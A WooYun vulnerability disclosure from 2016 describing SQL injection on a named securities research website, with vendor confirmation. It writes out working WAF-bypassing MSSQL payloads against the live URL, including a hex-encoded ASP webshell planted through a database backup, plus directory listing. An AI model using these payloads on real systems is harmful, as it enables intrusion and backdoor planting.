当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0189843

漏洞标题:申银万国证券mssql注射绕waf写shell

相关厂商:上海申银万国证券研究所有限公司

漏洞作者: Forever80s

提交时间:2016-03-28 08:39

修复时间:2016-05-12 10:48

公开时间:2016-05-12 10:48

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-03-28: 细节已通知厂商并且等待厂商处理中
2016-03-28: 厂商已经确认,细节仅向厂商公开
2016-04-07: 细节向核心白帽子及相关领域专家公开
2016-04-17: 细节向普通白帽子公开
2016-04-27: 细节向实习白帽子公开
2016-05-12: 细节向公众公开

简要描述:

看见这个http://wooyun.org/bugs/wooyun-2010-0181221 漏洞评论,就点一下连接,发现虽有waf ,但可以getshell 哦

详细说明:

http://www.swsresearch.com/cn/ViewItem.aspx?table=swwebcontent&id=17637
过滤select insert exec 等等,可以绕过
http://www.swsresearch.com/cn/ViewItem.aspx?table=swwebcontent&id=17637';execute('sele'%2b'ct convert(int,user)') -- '
http://www.swsresearch.com/cn/ViewItem.aspx?table=swwebcontent&id=17637';execute('sele'%2b'ct convert(int,@@version)') -- '

1.png


2.png


备份数据库getshell
http://www.swsresearch.com/cn/ViewItem.aspx?table=swwebcontent&id=17637';execute('ins'%2b'ert into test_tmp (a) values (0x3C25657865637574652872657175657374282261222929253EDA);') -- '
http://www.swsresearch.com/cn/ViewItem.aspx?table=swwebcontent&id=17637';execute('backup database web1 to disk = ''d:\\m.asp''') -- ' 成功
查看目录
http://www.swsresearch.com/cn/ViewItem.aspx?table=swwebcontent&id=17637';execute('sele'%2b'ct convert(int,(se'%2b'lect top 1 subdirectory fr'%2b'om (se'%2b'lect top 3 subdirectory fr'%2b'om D99_Tmp order by subdirectory )K order by subdirectory desc))') -- '

dir_asp.png


漏洞证明:

D:盘目录如下

d:
20db3e575f944c5ff9
20db3e575f944c5ff9
360Downloads
360安全浏览器下载
7e66aca3b396522795e2b283bd6d08
backup
backup_hj
DDP_Server.bak
DDP_Server.dat
ddpserverdata 数据库备份
Drivers
e2c0042bde3730651e6664
hejunback
Install
m.asp
NewResearchReport
Program Files
RECYCLER
rtq2004.bak
SW108WEB7
syslog
System Volume Information
系统安全


SW108WEB7 是web根目录

dir_web1.png


网站数据库连接池太小,随便发几个包就耗尽了,到此为止吧,不等你们连接池了

end.png

修复方案:

哎,还说没重要数据,我看内网都能撸下来,多少备份数据库。。

版权声明:转载请注明来源 Forever80s@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2016-03-28 10:48

厂商回复:

相关数据为宣传性内容,不涉及核心业务数据。但为安全起见,会请waf安全厂商加固

最新状态:

暂无